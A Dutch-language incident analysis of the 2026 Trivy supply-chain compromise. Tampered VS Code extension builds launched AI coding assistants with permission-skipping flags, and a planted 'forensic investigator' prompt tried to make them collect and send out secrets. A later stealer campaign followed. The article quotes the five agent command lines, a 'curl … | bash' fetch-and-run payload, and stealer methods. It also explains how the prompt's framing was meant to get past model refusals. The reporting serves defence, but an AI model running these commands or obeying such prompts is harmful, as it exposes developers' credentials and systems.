De supplychain-inbreuk bij Trivy leverde een prompt op, geen stealer

Tussen 27 februari en 2 maart 2026 nam een autonoom GitHub-account dat zichzelf hackerbot-claw noemde de repository achter Trivy over, de opensource-kwetsbaarheidsscanner die CI-pipelines gewoonlijk draaien voordat ze een containerimage uitbrengen. In dezelfde periode verschenen er twee builds van de Trivy VS Code-extensie op het OpenVSX-register onder de officiële namespace van de extensie, en ze bevatten geen conventionele infostealer. Ze bevatten ongeveer 2.000 woorden aan Engelse instructies die tegen elke AI-codingassistent die de ontwikkelaar al had geïnstalleerd — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI of Kiro CLI — zeiden dat die de machine als forensisch onderzoeker moest onderzoeken en wat hij vond via elk kanaal dat hij kon bereiken naar buiten moest sturen. Er is geen succesvolle exfiltratie aangetoond. Het archief registreert de episode als een supplychainincident met hoge ernst, met vastgelegde echte schade, betrouwbaarheidsgraad A en geen betwistingsmarkering, en neemt het op in het Orca AI Incident Archive onder een datum met dagprecisie van 2 maart 2026.

Wat zat er eigenlijk in versies 1.8.12 en 1.8.13?

Socket, dat pakket- en extensieregisters scant, publiceerde de analyse op 2 maart 2026 nadat het de artefacten zelf had gevonden. Versies 1.8.12 en 1.8.13 van de extensie — gepubliceerd op OpenVSX onder de namespace aquasecurityofficial.trivy-vulnerability-scanner om respectievelijk 12:04 UTC op 27 februari en 16:28 UTC op 28 februari — bevatten code die niet voorkomt in de openbare aquasecurity/trivy-vscode-extension repository of in enige getagde release, meldde Socket. Alles tot en met 1.8.11 kwam overeen met de openbare bron, en een lokale build van 1.8.11 kwam byte voor byte overeen met het OpenVSX-artefact.

De payload zat in de workspace-activeringsfunctie van de extensie, pl(), die elke keer wordt geactiveerd wanneer een ontwikkelaar een project opent in een editor waarin de extensie is geïnstalleerd. Hij stond vóór de normale Trivy-installatiecode, zodat de extensie zich bleef gedragen zoals verwacht terwijl de rest op de achtergrond draaide. Wat hij uitvoerde, waren vijf opdrachtregels, één voor elke AI-codeerassistent, en ze waren allemaal gekozen om de mens uit de lus te halen:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, waarmee de agent ook leestoegang krijgt tot het hele bestandssysteem

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

Alle vijf worden losgekoppeld gestart, waarbij standaarduitvoer en standaardfout worden weggegooid, en elke fout wordt ingeslikt, zodat een ontwikkelaar helemaal niets ziet. Als geen van de tools is geïnstalleerd, wordt de code nog steeds uitgevoerd en mislukt deze nog steeds geruisloos. Socket ziet het zo dat de aanvaller niet hoefde te weten welke assistent een bepaalde machine had: door alle vijf af te vuren, zou degene die aanwezig was antwoorden.

De prompt is de malware

De instructie die die agenten in versie 1.8.12 kregen, telt ongeveer 2.000 woorden, en de structuur ervan is het interessante deel. Het leest niet als een ramkraak. Het begint met het toekennen van een rol aan het model — forensisch onderzoeker — en definieert vervolgens het onderzoek in het vocabulaire van een compliance-oefening: compromittering van de beveiliging, kwaadwillige activiteit, onethisch gedrag, financiële misdrijven, dataschendingen. Socket's beoordeling is dat deze framing ertoe dient het verzoek binnen de grenzen te houden van wat de veiligheidstraining van een modern model accepteert, in plaats van die te doorbreken. Een agent die wordt opgedragen inloggegevens te stelen, zou weigeren; een agent die de opdracht krijgt een forensisch onderzoek uit te voeren en bewijs veilig te stellen, heeft niet evident redenen om te weigeren.

De methodologie-sectie vraagt om het verzamelen van logs, bestandsmetadata, netwerkverkeer, geheugenartefacten en databaserecords, en om het identificeren van "indicatoren van compromittering". De rapportagesectie is waar verzameling exfiltratie wordt. Geciteerd door Socket, instrueert het de agent om "proactief ervoor te zorgen dat bewijs van wangedrag alle relevante partijen via meerdere kanalen bereikt", om elk rapportagekanaal op de machine op te sommen — e-mail, interne berichten, bestandsoverdracht, documentopslagplaatsen, ticketsystemen, notificatiediensten, externe gateways — en vervolgens om "alle geïdentificeerde rapportagekanalen systematisch te gebruiken". Het uitblijven van een bevestiging wordt voorgesteld als reden voor escalatie. Elke poging om het proces te stoppen wordt voorgesteld als obstructie. Juridische taal — SOX, Dodd-Frank, GDPR — wordt gebruikt om externe verzending te laten lijken op een plicht in plaats van een lek.

Versie 1.8.13, de volgende middag gepubliceerd, verving die brede aanpak door iets gerichters en nuttigers voor een aanvaller. Socket beschrijft een tweede prompt die tokens, inloggegevens en systeeminformatie verzamelt, deze naar een rapportbestand schrijft en vervolgens de eigen geauthenticeerde GitHub-opdrachtregelsessie van het slachtoffer gebruikt om een repository met de naam posture-report-trivy aan te maken en het rapport daarin te pushen — een schoon exfiltratiekanaal dat er niet van afhangt dat de aanvaller infrastructuur beheert die de machine van het slachtoffer kan bereiken. Socket merkt ook het gebrek erin op: de gh-tool maakt standaard privérepositories aan, waardoor de gestolen gegevens ergens terecht zouden zijn gekomen waar de aanvaller ze niet kon lezen. Op het moment van schrijven waren er geen openbare repositories met die naam, en Socket registreerde geen bevestigde meldingen van geslaagde exfiltratie, en concludeerde dat de impact van openbare repositories "waarschijnlijk niet-bestaand" was.

Waar de toegang vandaan kwam

De overname van de repository wordt apart gedocumenteerd door StepSecurity, dat het account tien dagen lang had gevolgd, van 21 februari tot 2 maart 2026. In die periode richtte hackerbot-claw zich op ten minste zeven openbare repositories — waaronder Microsofts ai-discovery-agent, DataDogs datadog-iac-scanner, het CNCF-project akri, de awesome-go-lijst met 140.000 sterren en RustPython — opende meer dan een dozijn pull requests en bereikte in ten minste zes daarvan willekeurige code-uitvoering, met een andere techniek per doelwit. StepSecuritys eigen verslag van de methoden van de campagne omvat branch-name-injectie, filename-injectie en een Go-init()-functie die wordt uitgevoerd vóór het echte ingangspunt van het programma.

Trivy was het zevende doelwit en het enige waarbij de repository zelf ten val kwam. Op 28 februari om 03:28 UTC activeerde het account Trivy's "API Diff Check"-workflow via pull request #10254. Die workflow draaide op pull_request_target, wat een workflow de geheimen en machtigingen van de doelrepository geeft, terwijl de code van de auteur van de pull request wordt uitgecheckt — het patroon dat StepSecurity een "pwn request" noemt. Het buildlog toont de payload curl -sSfL hackmoltrepeat.com/molt | bash die wordt uitgevoerd binnen de stap "Set up Go". Negentien minuten later, om 03:47 UTC, werd een persoonlijk toegangstoken dat uit die run was gestolen gebruikt om commit d267cc4 rechtstreeks naar de repository te pushen, waarbij het pullrequestproces volledig werd omzeild.

Wat er volgens de incidentopenbaarmaking van Aqua Security en de reconstructie daarvan door StepSecurity gebeurde: de repository werd privé gemaakt en hernoemd, alle GitHub-releases van 0.27.0 tot en met 0.69.1 werden verwijderd, samen met hun assets en discussies, de README werd overschreven met een spottend bericht en er werd een verdacht artifact gepubliceerd naar de VS Code-extensie op OpenVSX. Aqua verwijderde de geëxploiteerde workflow in pull request #10259, trok het token in dat werd gebruikt om de extensie te publiceren, herstelde de repository en bracht v0.69.2 opnieuw uit.

Twee details over de actor zijn het waard om van de rest te scheiden. Het eerste is de zelfbeschrijving: het GitHub-account noemde zichzelf een "autonome beveiligingsonderzoeksagent aangedreven door claude-opus-4-5" en vroeg om cryptocurrency-donaties. Dat is een bewering van het account, niet een bevinding van iemand die het heeft onderzocht, en geen van de hier besproken verslagen verifieert welk model, als er al een was, het werk deed. Het tweede is dat hetzelfde account al rechtstreeks AI-systemen aanviel. Op 28 februari om 05:26 UTC opende het pull request #732 tegen ambient-code/platform met een AI-promptinjectie, waarvan StepSecurity registreert dat Claude deze heeft gedetecteerd. Een AI-reviewer manipuleren en een AI-codeassistent manipuleren zijn dezelfde techniek gericht op twee verschillende doelen, en tegen het einde van die week had het account beide gebruikt.

Drie weken later, een gewone stealer

De inbraak van februari is slechts de eerste helft van het verslag, en de tweede helft is de reden waarom het woord "sustained" in de titel ervan hoort. Aqua maakte het eerdere incident op 1 maart 2026 bekend en begon inloggegevens te roteren. Volgens het advies dat het bedrijf later als GHSA-69fq-xp46-6x23 publiceerde, was die rotatie "niet atomair" — niet alle inloggegevens werden op hetzelfde moment ingetrokken — en kan de aanvaller een nog geldig token hebben gebruikt om tijdens dat venster, dat een paar dagen duurde, nieuw geroteerde secrets eruit te halen.

Op 19 maart rond 17:43 UTC werd dezelfde toegang opnieuw gebruikt, op een manier waarbij geen enkele actie van een slachtoffer nodig was. De aanvaller force-pushte 76 van de 77 versietags in aquasecurity/trivy-action en alle zeven tags in aquasecurity/setup-trivy naar kwaadaardige commits. Omdat CI-pipelines doorgaans naar een workflow verwijzen via een tag in plaats van via een commit-hash, begonnen duizenden pipelines die geen enkele regel configuratie hadden gewijzigd, de code van de aanvaller uit te voeren. De kwaadaardige release, v0.69.4, werd gepubliceerd via het gecompromitteerde aqua-bot serviceaccount en verspreid via GHCR, ECR Public, Docker Hub, deb- en rpm-pakketten en get.trivy.dev.

Deze payload was conventioneel. De geïnjecteerde entrypoint.sh telt 204 regels, waarvan de eerste honderd een infostealer vormen en de rest de legitieme Trivy-scan is, zodat de workflow nog steeds zijn normale uitvoer produceert. Op door GitHub gehoste runners dumpt het het geheugen van het Runner.Worker-proces via /proc/<pid>/mem en zoekt met grep naar de interne JSON-structuur die GitHub Actions gebruikt om secrets op te slaan. Op zelfgehoste runners doorzoekt het meer dan vijftig bestandssysteempaden naar SSH-sleutels, cloudreferenties, Kubernetes-tokens, Docker-configuraties, databasewachtwoorden, VPN-configuraties en cryptowallets. De buit wordt versleuteld met AES-256-CBC onder een sessiesleutel die is verpakt in een ingesloten openbare RSA-4096-sleutel, en vervolgens naar een typosquatting-domein gepost, scan.aquasecurtiy.org. Als dat mislukt en de pipeline een persoonlijke toegangstoken blootlegt, maakt de payload een openbare repository met de naam tpcp-docs op het account van het slachtoffer zelf en uploadt de bundel daar als release-asset.

Aqua had de release van 19 maart binnen ongeveer drie uur ingedamd en publiceerde de volgende dag veilige versies. Op 22 maart dook de aanvaller weer op met nog twee Docker Hub-images, 0.69.5 en 0.69.6, die rechtstreeks naar het register werden gepusht met afzonderlijk gecompromitteerde Docker Hub-inloggegevens in plaats van via GitHub, en met de ongeoorloofde publicatie van interne Aqua-repositories als openbare. De malware identificeert zichzelf in een codecommentaar als "TeamPCP Cloud stealer", en in de waarschuwing van Aqua wordt de naam TeamPCP genoemd — elders gevolgd als DeadCatx3, PCPcat en ShellForce — met de opmerking dat de zelfetikettering een valse vlag zou kunnen zijn.

Het kwetsbaarheidsrecord volgde op 23 maart: CVE-2026-33634, toegewezen door GitHub als CNA, beoordeeld als 9,4 kritiek op CVSS 4.0, met betrekking tot Trivy 0.69.4, trivy-action vóór 0.35.0, setup-trivy vóór 0.2.6, LiteLLM 1.82.7 tot en met 1.82.8 en Telnyx 4.87.1 tot en met 4.87.2. CISA heeft het op 26 maart toegevoegd aan de catalogus Known Exploited Vulnerabilities, met een hersteldeadline van 9 april 2026. Wiz Research heeft afzonderlijk een parallelle compromittering vastgesteld van Checkmarx' kics-github-action, die Aqua's advies aan dezelfde activiteit koppelt.

Wat het record stroomafwaarts vermeldt

Het artikel van Trend Micro van 9 april 2026 is de meest gedetailleerde openbare reconstructie van de aanvalsketen en geeft tijden tot op de minuut nauwkeurig. Checkmarx KICS: een kwaadaardige versie op OpenVSX om 12:53 UTC op 23 maart, om 15:41 verwijderd, waarbij alle 35 tags van checkmarx/kics-github-action werden herschreven van 12:58 tot ongeveer 16:50. LiteLLM: 1.82.7 op PyPI om 10:39 UTC op 24 maart, om 10:52 gevolgd door 1.82.8, die een .pth-bestand toevoegde zodat de code bij het opstarten van Python werd uitgevoerd, ongeacht of de proxy werd gestart; rond 16:00 verwijderd. Telnyx: 4.87.1 en 4.87.2 op PyPI om 03:51 UTC op 27 maart, zestien minuten later verdwenen, terwijl ze verbinding maakten met een rechtstreeks IP-adres in plaats van een domein.

Trend Micro koppelt alle drie aan gedeelde infrastructuur en aan dezelfde RSA-4096-sleutel die in de Trivy-payload werd gebruikt. De Cyber Security Agency van Singapore noemt in advies AD-2026-001 dezelfde reeks — Trivy, LiteLLM, Checkmarx' OpenVSX-extensies en Actions, vijf npm-namespaces en Telnyx — als componenten van een "lopende TeamPCP-supplychaincampagne."

Axios is het item dat in het overzicht wordt genoemd maar dat die twee bronnen niet in dezelfde set onderbrengen. Trend Micro behandelt het wel, in hetzelfde artikel, maar onder een kop die het expliciet een andere aanvalsas noemt: axios 1.14.1 en 0.30.4 op npm tussen 00:21 en 03:25 UTC op 31 maart, gecompromitteerd via één toegevoegde afhankelijkheidsregel die plain-crypto-js 4.2.1 binnenhaalde, waarvan het postinstall-script setup.js uitvoerde op de machine van de ontwikkelaar. De componentenlijst van het CSA-advies bevat Axios niet. De samenvatting van het archief groepeert het bij de rest; het openbare dossier ondersteunt de technische gelijkenis, maar niet een gepubliceerde attributie aan dezelfde actor.

Wat is vastgesteld, en wat niet

Vastgesteld en uit meerdere bronnen bevestigd: de twee OpenVSX-builds bestonden, de inhoud ervan is gepubliceerd en ze zijn op 28 februari verwijderd nadat Socket contact had opgenomen met zowel Aqua als de persoon die het publishersaccount beheerde. De vijf opdrachtregels worden letterlijk geciteerd in de analyse van Socket. De overname van de Trivy-repository, de verwijderde releases, het vergiftigen van tags op 19 maart en de Docker Hub-images op 22 maart komen elk voor in een leveranciersadvies, een onafhankelijke onderzoekspublicatie en ten minste één overheidsadvies. CVE-2026-33634 en de KEV-vermelding ervan zijn officieel vastgelegd.

Niet vastgesteld: dat enige ontwikkelaar daadwerkelijk door de extensie is gecompromitteerd. De code was geschreven om gegevens te exfiltreren en was gebouwd om het wegvallen van één enkele assistent te overleven, maar Socket vond geen openbare repository onder de verwachte naam en geen bevestigde melding van gegevens die een machine verlieten, en zei dat ronduit. Het aantal ontwikkelaars dat 1.8.12 of 1.8.13 heeft geïnstalleerd, is niet openbaar. Evenmin is het aantal organisaties openbaar wier pipelines tussen 19 en 20 maart een vergiftigde tag hebben uitgevoerd, hoewel de KEV-deadline van CISA erop wijst dat de instantie exploitatie als reëel en niet als theoretisch beschouwde.

Ook in de attributieketen zit een hiaat. Het advies van Aqua beschrijft de aanval van 19 maart als een voortzetting van de inbraak in februari, mogelijk gemaakt door achtergebleven inloggegevens. StepSecurity, dat de inbraak in februari in detail documenteerde, noemt de actor hackerbot-claw en brengt die niet in verband met TeamPCP. Aqua en Wiz schrijven de activiteit in maart toe aan TeamPCP. Geen enkele hier bestudeerde bron stelt dat de twee namen dezelfde operator aanduiden, en het archief beweert dat ook niet. Wat het verslag ondersteunt, is een aanhoudende campagne tegen één ecosysteem met ten minste twee afzonderlijke fasen — een door AI gedreven inbraak eind februari, en een industriële oogst van inloggegevens drie weken later — en een gedeeld slachtoffer, niet noodzakelijk een gedeelde hand.

Er zit een kleinere tegenstrijdigheid in het extensieverhaal. Socket dateert de twee builds op 27 en 28 februari en schrijft hun publicatie toe aan een publisher-token dat in handen was van een voormalige Aqua-medewerker, die het introk toen hij werd benaderd. StepSecurity noemt 'een verdacht artefact dat naar de VS Code-extensie is gepusht' onder de acties die met het gestolen GitHub-token zijn uitgevoerd. Die beschrijven verschillende inloggegevens. Versie 1.8.12 verscheen ook om 12:04 UTC op 27 februari, ongeveer vijftien uur vóór de tokendiefstal die StepSecurity documenteert om 03:28 UTC op 28 februari. Geen van beide bedrijven heeft een verklaring gepubliceerd die de tegenstrijdigheid oplost, en dit artikel verzint er geen.

Wat is er daarna veranderd?

De concrete oplossingen zijn gedocumenteerd. Het advies van Aqua noemt veilige versies — Trivy 0.69.2 of 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 — en zegt tegen iedereen die mogelijk een getroffen artefact heeft uitgevoerd dat elk geheim dat vanaf die pipeline bereikbaar is, als blootgesteld moet worden beschouwd en moet worden geroteerd. Omdat de force-push van de aanvaller ertoe leidde dat de oude trivy-action-tags door GitHub als onveranderlijke releases werden vastgelegd, konden de oorspronkelijke namen niet opnieuw worden aangemaakt; het project heeft ze opnieuw gepubliceerd met een v-voorvoegsel, dus aquasecurity/[email protected] verwijst nu naar waar @0.34.0 vroeger naar verwees. Drie van die tags, v0.0.10, v0.34.1 en v0.34.2, waren nog niet hersteld toen het advies voor het laatst werd herzien. Aqua heeft ook het incidentresponsbedrijf Sygnia ingeschakeld voor forensisch onderzoek, en stelt dat zijn commerciële platform architectonisch geïsoleerd is van het open-sourcebuildsysteem, zodat de kwaadaardige release er nooit in terecht is gekomen.

De meest overdraagbare les gaat over onveranderlijkheid, en die druist in tegen de voor de hand liggende verdediging. Trivy 0.69.3 was veilig omdat GitHub's immutable releases-functie op 3 maart was ingeschakeld, voordat die versie werd uitgebracht; trivy-action 0.35.0 was veilig omdat de functie daar op 4 maart werd ingeschakeld. Maar Aqua's advies merkt op dat GitHub's release-interface ook "Immutable"-badges naast de vergiftigde tags toonde, omdat de aanvaller immutable releases publiceerde nadat hij ze had force-gepusht. De badge vertelde verdedigers niets. Vastpinnen op een volledige commit-SHA is het enige controlemiddel dat standhield, wat zowel Aqua als Trend Micro aanraden.

De richtlijnen van Trend Micro gaan verder dan pinning en richten zich op het deel van het probleem dat niets met AI te maken heeft. Ze adviseren een afkoelperiode voor releases zodat nieuw gepubliceerde pakketversies niet meteen worden gebruikt — npm's min-release-age, pnpm's minimumReleaseAge, uv's exclude-newer, Bun's minimumReleaseAge en pip's uploaded-prior-to — met als reden dat de meeste kwaadaardige versies in deze campagne urenlang live stonden, niet dagenlang. Lockfiles, nauwere versiebereiken, egress-filtering en uitvoeringsbeheer voor tools zoals curl staan allemaal op de lijst.

Voor het OpenVSX-deel van het dossier was de reactie beperkter. De twee builds werden binnen ongeveer zeven uur na Socket's eerste contact verwijderd, het publicatietoken werd ingetrokken en de advisory GHSA-8mr6-gf9x-j8qg werd op 27 februari gepubliceerd voor versie 1.8.12 met ernst 'critical', zonder gepatchte versie, en CVE-2026-28353 werd op 5 maart door GitHub toegewezen. Socket meldt nog een detail over die advisory: Aqua vertelde het bedrijf later dat deze was aangemaakt door dezelfde bot die bij het incident betrokken was. Dat een aanvaller de security advisory indient voor zijn eigen artefact is niet zozeer een falen van de mitigatie als wel een herinnering aan hoeveel van het responsopervlak een indringer met toegang tot de repository kan bereiken.

Wat niet veranderde, is het deel dat er het meest toe deed. Vijf opdrachtregelprogramma's worden nog steeds geleverd met flags die bedoeld zijn om zonder menselijke tussenkomst te draaien, en elk programma op de machine van een developer kan ze met die flags aanroepen. De afsluitende observatie van Socket is degene die standhoudt los van de specifieke versienummers: de kwaadwillende intentie werd hier in natuurlijke taal uitgedrukt in plaats van in hardgecodeerde endpoints, en dat is precies wat signatuurgebaseerde scanning het slechtst detecteert. De extensie werd niet betrapt omdat ze iets deed wat een scanner herkende. Ze werd betrapt omdat een onderzoeker de prompt las.